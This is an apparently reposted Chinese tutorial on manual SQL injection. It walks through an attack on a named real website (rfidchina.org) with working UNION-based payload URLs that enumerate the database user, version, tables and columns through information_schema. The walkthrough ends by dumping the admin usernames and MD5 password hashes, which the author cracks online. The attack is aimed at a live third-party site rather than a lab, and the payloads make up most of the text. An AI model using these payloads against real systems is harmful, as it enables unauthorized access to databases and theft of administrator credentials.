Home > Backend Development > PHP Tutorial > php手工注入

php手工注入

WBOY
Release: 2016-06-23 14:31:31
Original
1231 people have browsed it

http://www.rfidchina.org/products/product.php?id=9740

URL后面加上'后,返回的页面虽然没有什么错误信息之类的,页面出错缺失了内容,

然后是and 1=1 、and 1=2 ,分别是正常信息和'的页面,在9740前面加了个负号“ - ” ,它没什么意义,和and 1=2 一个作用,出错,
http://www.rfidchina.org/products/product.php?id=-9740

然后是union select 联合选择……最终得到
http://www.rfidchina.org/products/product.php?id=-9740+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14
这里2,3,4,5,6,13都在页面上有显示

因为空格和+的作用一样,而空格会变成%20,所以用+看的清楚些。

user()获得连接数据库的用户名、version()暴出版本号、database()暴出库名
http://www.rfidchina.org/products/product.php?id=-9740+union+select+1,user(),version(),database(),5,6,7,8,9,10,11,12,13,14
得知上面的分别是 root@localhost ,5.1.24-rc-log ,bussiness (库名)

GROUP_CONCAT()查表
http://www.rfidchina.org/trade/trade.php?id=-9740+and+1=2+union+select+1,2,GROUP_CONCAT(DISTINCT+table_name),

4,5,6,7,8,9,10,11,12,13,14+from+information_schema.columns+where+table_schema=0x62757373696E657373
??0x62757373696E657373是bussiness的HEX码,不过什么也没有得到,连显示位也不显了。

改用 or 1=1 、or 1=2 ,
http://www.rfidchina.org/trade/trade.php?id=9740+or+exists(select+*+from+admin)
很成功的返回了or 1=1 时的页面,看来有admin表了,

接着猜列名,admin失败了,是'时的页面,又试了username,很成功
http://www.rfidchina.org/trade/trade.php?id=9740+or+exists(select+username+from+admin)

该猜密码列了,上网上找资料,hex() 、unhex() 。于是又回到了开始的办法。。。

http://www.rfidchina.org/trade/trade.php?id=-9740+union+select+1,2,GROUP_CONCAT(DISTINCT+unhex(hex(table_name))),

4,5,6,7,8,9,10,11,12,13,14+from+information_schema.columns+where+table_schema=0x62757373696E657373
这下把各种表都暴出来了,在里面一眼就看到了admin表,果然有它。

http://www.rfidchina.org/trade/trade.php?id=-9740+union+select+1,2,GROUP_CONCAT(DISTINCT+unhex(hex(column_name))),

4,5,6,7,8,9,10,11,12,13,14+from+information_schema.columns+where+table_name=0x61646D696E
终于看到了:username、passwd。
??0x61646D696E是admin的HEX码

http://www.rfidchina.org/trade/trade.php?

id=-9740+union+select+1,

GROUP_CONCAT(DISTINCT+username),GROUP_CONCAT(DISTINCT+passwd),

4,5,6,7,8,9,10,11,12,13,14+from+bussiness.admin
分别在2、3显示位显示出了username字段和passwd字段。
密码是md5的,在  http://www.md5.com.cn/  解了密。

Related labels:
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template